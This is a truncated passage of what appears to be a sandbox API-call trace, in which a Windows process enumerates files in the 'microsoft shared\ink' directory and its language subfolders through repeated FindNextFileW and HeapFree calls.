dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0104.305] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73e68 | out: hHeap=0x4b0000) returned 1 [0104.305] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf182444c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf182444c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0104.309] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x3e50100, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0104.318] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0104.318] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0104.417] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.417] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0104.417] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.417] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0104.418] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.418] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0104.418] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.418] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0104.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.452] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0104.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.452] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0104.452] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.452] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0104.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.488] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0104.500] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.500] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0104.500] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.500] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0104.500] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.500] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0104.500] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.500] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0104.503] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.503] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0104.503] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.504] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0104.506] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.506] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0104.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.509] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0104.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.509] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0104.623] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.623] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0104.623] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.623] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0104.626] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.626] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0104.626] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.626] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0104.627] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.627] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0104.627] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.627] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0104.629] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.629] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0104.629] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.629] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0104.629] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.629] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0104.629] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.629] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0104.630] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.630] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0104.630] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.630] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0104.637] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0104.637] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0104.638] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.638] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0104.638] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.638] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0104.640] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.640] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0104.640] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0104.641] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0104.641] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.641] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, 